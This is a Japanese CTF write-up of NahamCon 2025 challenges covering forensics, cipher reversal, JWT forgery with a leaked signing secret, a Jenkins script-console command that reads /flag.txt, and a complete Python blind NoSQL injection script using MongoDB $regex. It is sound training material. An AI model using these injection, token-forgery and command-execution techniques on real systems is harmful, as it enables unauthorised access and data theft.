NahamCon CTF 2025(2025-05-24)
Quartet
- quartet.z01, quartet.z02, quartet.z03, quartet.z04というファイルが渡される。
-
fileコマンドを使用するとこれらがZip multi-volume archive dataだとわかる。- 複数ファイルに分割されたZIPファイル
- catコマンドで4ファイルを1つのファイルにまとめてかきこんでunzipするとquartet.jpegが解凍できる。
- 画像を見ても特に何もなかったので
stringsコマンドをquartet.jpegに使用するとフラグ発見。
Naham-Commencement 2025
-
クライアントサイドでusername, passwordを認証しているページを渡される。
-
main.js内に認証部分が書いてある。
-
main.jsによると以下の条件を満たしていればflagが出力される。
- a,bは関数
- a(username)="dqxqcius"
- b(password)="YeaTtgUnzezBqiwa2025"
-
aはシーザー暗号。
-
16文字シフトしている。
function a(t) {
let r = '';
for (let i = 0; i < t.length; i++) {
const c = t[i];
if (/[a-zA-Z]/.test(c)) {
const d = c.charCodeAt(0);
const o = (d >= 97) ? 97 : 65;
const x = (d - o + 16) % 26 + o;
r += String.fromCharCode(x);
} else {
r += c;
}
}
return r;
}
- bは"nahamcon"という文字列を鍵としたヴィジュネル暗号。
const k = "nahamcon";
function b(t, k) {
let r = '';
let j = 0;
for (let i = 0; i < t.length; i++) {
const c = t[i];
if (/[a-zA-Z]/.test(c)) {
const u = c === c.toUpperCase();
const l = c.toLowerCase();
const d = l.charCodeAt(0) - 97;
const m = k[j % k.length].toLowerCase();
const n = m.charCodeAt(0) - 97;
const e = (d + n) % 26;
let f = String.fromCharCode(e + 97);
if (u) {
f = f.toUpperCase();
}
r += f;
j++;
} else {
r += c;
}
}
return r;
}
- "dqxqcius"と"YeaTtgUnzezBqiwa2025"をそれぞれ復号するとusernameとpasswordが得られる。
Read the Rules
- RulesのページのSourceにコメントとしてフラグが書かれていた。
Free Flags!
フラグっぽい大量の文字列がテキストファイルとして渡される。
Rulesにてフラグの形式が渡されているので、正規表現を用いて検索してやればよい。
実はフラグの形式を満たすものは一つしか入っていない。
cat free_flags.txt | grep -E "flag{[0-9a-f]{32}}"
Technical Support
Want to join the party of GIFs, memes and emoji shenanigans? Or just want to ask a question for technical support regarding any challenges in the CTF?
This CTF uses support tickets to help handle requests. If you need assistance, please create a ticket with the #ctf-open-ticket channel. You do not need to direct message any CTF organizers or facilitators, they will just tell you to open a ticket. You might find a flag in the ticket channel, though!
-
#ctf-open-ticketチャンネルが見つからず苦戦した - チャンネル検索欄でsupportと検索するとctf-supportというチャンネルを見つけられる。
- そこでflagが乗った投稿を発見できた。
Odessey
- ncで接続。
- Enterを押すとオデュッセイアの続きを出力してくれる。
- Enterを押しっぱなしにして大量に出力させ、ctrl+Fでflagを検索した。
Screenshot
- zipファイルのバイト列が渡される。
- windowsのsnipping toolsのOCR機能を用いて文字起こしし、バイナリファイルに書き込んだ。
- xxdでバイト列→バイナリに変換しそのままoutput.binに書き込み
- xxdはバイナリファイルを16進数でダンプしたりバイト列のテキストからバイナリファイルを作ったり出来る
- xxdでバイト列→バイナリに変換しそのままoutput.binに書き込み
echo '48656C6C6F2C20576F726C6421' | xxd -r -p > output.bin
- unzipでは回答できなかったので7zで解凍した。
SNAD
- 開発者ツールからscript.jsを読む。
- 7つの座標にそれぞれ指定された色の砂を配置することでフラグが表示される。
- 重力のオンオフを切り替える
toggleGravity()と指定した座標に指定した色の砂を配置するinjectSand(x, y, hue)を利用してフラグの表示条件を満たせば良い。 - consoleから次のように関数を呼び出すだけ。
toggleGravity();
targetPositions.forEach(target => {
injectSand(target.x, target.y, target.colorHue);
});
checkFlag();
CryptoClock
- サーバでは次の処理が行われる
- 時刻をシードとしてランダムなkeyを生成
- keyとflagのXOR(encrypted_flag)を出力
- ユーザの入力を受取って入力とkeyのXORを出力
- keyが変わらないので、000000...というバイト列を入力するとkeyがそのまま出てくる。
- 後は手元でkeyとencrypted_flagのXORを取ればflagが復号できる
The Martian
- challenge.martianという謎のファイルが渡された。
- binwalkで確認したところ、中に複数のファイルがあることを確認。
- stringsを使うと
./extracted_flag.jpgという文字列があった。- 中にflagが画像として入っていると推測
-
binwalk -eで解凍すると2つのJPEG image dataと2つのbqip2 compressed dataが出てくる。 - 2つのJPEGファイルはそのままでは画像として開けない。
- これを連結するとjpgとして開けるようになる。
$ cat ./<file1> ./<file2> > aaa.jpg
Infinite Queue
- メールアドレスを入力して座席を予約するボタンを押すとブラウザのLocal storageにqueue_tokenとqueue_user_idが入る。
- Local storage: Javascriptがブラウザ側に永続的にデータを保管できる仕組み
- queue_tokenはJWT(JSON Web Token)形式
- JWTはヘッダー、ペイロード、署名の3要素から成る
- 3要素のそれぞれをJSON形式で記述しBASE64でencodeされたものが.でつながっている
- jwt.ioに入力すればまとめてデコードできる
- 各要素をBASE64でデコードしてもJSONが見られる
- JWTは認証や認可を行うための仕組み。cookieと違って自動で送られたりしないのでCSRF耐性が高い上、署名がつくので改ざん検知が可能。
- もともとのqueue_tokenはこんな感じ
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiYUBiLmMiLCJxdWV1ZV90aW1lIjoxNzkxMDI3Mzk4LjYxODIwNCwiZXhwIjo1MzQ4MDU1ODc4fQ.09AO9ntH79K1v1d51SMOyVmMCralvfHfgfm8DSUWaoQ
- これをJSONにデコードするとこうなる
{
"alg": "HS256",
"typ": "JWT"
}
{
"user_id": "a@b.c",
"queue_time": 1791027398.618204,
"exp": 5348055878
}
- algを"none"に書き換え、ペイロードを編集して送ってみる
{
"alg":"HS256",
"typ":"JWT"
}
{
"user_id": "admin",
"queue_time": 1.0,
"exp": 5348055206
}
ewogICJhbGciOiJub25lIiwKICAidHlwIjoiSldUIgp9.ewogICJ1c2VyX2lkIjogImFkbWluIiwKICAicXVldWVfdGltZSI6IDEuMCwKICAiZXhwIjogNTM0ODA1NTIwNgp9
- エラーメッセージに秘密鍵が出てきたのでこれを使って以下の内容に署名してみる。
- JWT_SECRET: 4A4Dmv4ciR477HsGXI19GgmYHp2so637XhMC
- queue_timeを短くすることでパスできると推測。ついでにuser_id:adminにしておいた。
{
"alg":"HS256",
"typ":"JWT"
}
{
"user_id": "admin",
"queue_time": 1.0,
"exp": 5348055206
}
cyberchefでJSONとkeyを渡すと下のようにsignを済ませてくれる。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.ewogICJ1c2VyX2lkIjogImFkbWluIiwKICAicXVldWVfdGltZSI6IDEuMCwKICAiZXhwIjogNTM0ODA1NTIwNgp9
Flagdle
- flagでwordle
- a-z, 0-9について総当りしていけばそのうち全部埋まる。
current_known_chars = ["_"] * FLAG_LENGTH
with requests.Session() as s:
for char_to_test in CHARSET:
# 推測文字列の構築
guess_inner_parts = []
for c in current_known_chars:
if c != "_":
guess_inner_parts.append(c)
else:
guess_inner_parts.append(char_to_test)
full_guess_str = "flag{" + "".join(guess_inner_parts) + "}"
# サーバーにPOSTリクエストを送信
response = s.post(URL, json={"guess": full_guess_str})
response.raise_for_status() # HTTPエラーがあればここで例外発生
emojis_result = response.json()["result"]
print(f"{full_guess_str} → {emojis_result}")
# 絵文字結果に基づいて判明済み文字を更新
for i in range(FLAG_LENGTH):
if emojis_result[i] == "🟩" and current_known_chars[i] == "_":
current_known_chars[i] = char_to_test
# サーバーへの負荷軽減のための待機
time.sleep(SLEEP_DURATION)
# 全ての文字が判明したら終了
if "_" not in current_known_chars:
break
Taken to School
- 重要度が9~10かつイベント内容がマルウェア検知/RDPで、act=allowedとなっているものを探した。
- 各イベントのsrc IPについてvirustotalで検索した。
2024-12-22T15:07:40 CEF:0|PaloAltoNetworks|PAN-OS|8.3|44985|Trojan Signature Match|9|src=91.218.50.11 dst=192.168.113.2 spt=27660 dpt=443 proto=HTTPS act=allowed fileName=chemistry_notes.pdf eventHash=5b16c7044a22ed3845a0ff408da8afa9 cs1Label=threatType cs1=trojan
https://www.virustotal.com/gui/ip-address/91.218.50.11
virustotal score: -2
TMCB
gemini-2.5-proに解いてもらった。
よくわからん
Method In The Madness
- Methodって書いてあったのでcurlでいろんなメソッドのリクエストを送ってみたらいつの間にか通ってた。
- おそらくGETを含め6種類のメソッドでリクエストを送れば良かったのかな?
curl -X OPTIONS http://challenge.nahamcon.com:30588/interesting -i
curl -X POST http://challenge.nahamcon.com:30588/interesting
curl -X PUT http://challenge.nahamcon.com:30588/interesting
curl -X DELETE http://challenge.nahamcon.com:30588/interesting
curl -X PATCH http://challenge.nahamcon.com:30588/interesting
The Best Butler
Script Consoleに以下のスクリプトを入力して実行したらflagが出力された
def proc = "cat /flag.txt".execute()
proc.waitFor()
println proc.in.text
NoSequel
- MongoDBのregexを使って
flag{*}のように正規表現を送ることができる - flagにマッチした場合はマッチした旨のレスポンスが返る
- Blind NoSQL Injectionと呼ばれる手法で1文字ずつflagを埋めていく
import requests
# 設定
URL = "http://challenge.nahamcon.com:32129/search"
COLLECTION = "flags"
# リクエストヘッダー
HEADERS = {
'Content-Type': 'application/x-www-form-urlencoded',
}
# フラグに使われる文字(16進数)
HEX = "0123456789abcdef"
# 正規表現でマッチするかを確認する関数
def match(regex):
data = {
'query': f'flag: {{$regex: "{regex}"}}',
'collection': COLLECTION
}
res = requests.post(URL, data=data, headers=HEADERS)
return "Pattern matched" in res.text
# フラグを見つける関数
def find_flag():
flag = ""
# 32文字の16進数を1文字ずつ総当たり
for _ in range(32):
for c in HEX:
guess = f"flag{{{flag}{c}"
if match(guess):
flag += c
print(f"\rFlag guessed: flag{{{flag}}}...", end="")
break
print()
print(f"answer: flag{{{flag}}}")
# 実行
find_flag()
My First CTF
- /flag.txtに行くとハズレとのメッセージ
- flag.txtをROT1した/gmbh.uyuに行くとフラグがあった。
Puzzle Pieces(解けなかった)
- objdumpを使ってexeファイルのTimeStampを調べる。
- この時点で22:17, 22:1,22:19の3組にファイルを分割できる。
- ファイルを結合するときは早い方から順に繋げられると予想。
└─$ objdump -p ./RSL30YP.exe | grep -i time | head -n 1
Time/Date Sat May 24 07:22:17 2025
└─$ objdump -p ./zjav5i20Uqdp.exe | grep -i time | head -n 1
objdump: Warning: './' is a directory
Time/Date Sat May 24 07:22:17 2025
└─$ objdump -p ./2w7JdChEy.exe | grep -i time | head -n 1
Time/Date Sat May 24 07:22:18 2025
└─$ objdump -p ./G6tE1a.exe | grep -i time | head -n 1
Time/Date Sat May 24 07:22:18 2025
└─$ objdump -p ./lWmDFh.exe | grep -i time | head -n 1
Time/Date Sat May 24 07:22:18 2025
└─$ objdump -p ./VUlyMSY2V5R57.exe | grep -i time | head -n 1
Time/Date Sat May 24 07:22:18 2025
└─$ objdump -p ./GM1z8JCY.exe | grep -i time | head -n 1
Time/Date Sat May 24 07:22:18 2025
└─$ objdump -p ./tETZLNWBfNDS.exe | grep -i time | head -n 1
Time/Date Sat May 24 07:22:18 2025
└─$ objdump -p ./bh9CdGYivv.exe | grep -i time | head -n 1
Time/Date Sat May 24 07:22:19 2025
└─$ objdump -p ./NUcrnJqvd4bYdL.exe | grep -i time | head -n 1
Time/Date Sat May 24 07:22:19 2025
- 各ファイルの差分を調べる。
- いくつかの組み合わせについて調査すると、99745番からの4バイトはみな違っていることが確認できる。
─$ cmp -l RSL30YP.exe zjav5i20Uqdp.exe
99745 173 146
99746 65 154
99747 61 141
99748 62 147
119417 311 171
119418 173 27
119419 306 256
119420 206 210
...
$ cmp -l G6tE1a.exe NUcrnJqvd4bYdL.exe
257 32 33
99745 142 71
99746 70 142
99747 142 146
99748 144 141
118965 32 33
118993 32 33
119021 32 33
119417 15 243
...
- 各ファイルの差分が生じているあたりを出力してみる。
└─$ hexdump -s 99744 -n 6 -C zjav5i20Uqdp.exe
000185a0 66 6c 61 67 0a 00 |flag..|
000185a6
└─$ hexdump -s 99744 -n 6 -C RSL30YP.exe
000185a0 7b 35 31 32 0a 00 |{512..|
000185a6
└─$ hexdump -s 99744 -n 6 -C tETZLNWBfNDS.exe
000185a0 38 39 63 39 0a 00 |89c9..|
000185a6
└─$ hexdump -s 99744 -n 6 -C lWmDFh.exe
000185a0 66 61 66 66 0a 00 |faff..|
000185a6
└─$ hexdump -s 99744 -n 6 -C VUlyMSY2V5R57.exe
000185a0 31 37 61 66 0a 00 |17af..|
000185a6
└─$ hexdump -s 99744 -n 6 -C 2w7JdChEy.exe
000185a0 34 62 39 35 0a 00 |4b95..|
000185a6
└─$ hexdump -s 99744 -n 6 -C GM1z8JCY.exe
000185a0 35 65 37 64 0a 00 |5e7d..|
000185a6
└─$ hexdump -s 99744 -n 6 -C G6tE1a.exe
000185a0 62 38 62 64 0a 00 |b8bd..|
000185a6
└─$ hexdump -s 99744 -n 6 -C NUcrnJqvd4bYdL.exe
000185a0 39 62 66 61 0a 00 |9bfa..|
000185a6
└─$ hexdump -s 99744 -n 6 -C bh9CdGYivv.exe
000185a0 61 7d 0a 00 00 00 |a}....|
000185a6
- この出力結果から順番の最初と最後は予想できる。
- 最初
- zjav5i20Uqdp.exe -> RSL30YP.exe
- flag{512
- 最後
- NUcrnJqvd4bYdL.exe -> bh9CdGYivv.exe
- 9bfaa}
- これらの並びから真ん中の6つの並びを推測したい。
writeupによると作成時刻をミリ秒単位で確認すればよかったらしい。
Discussion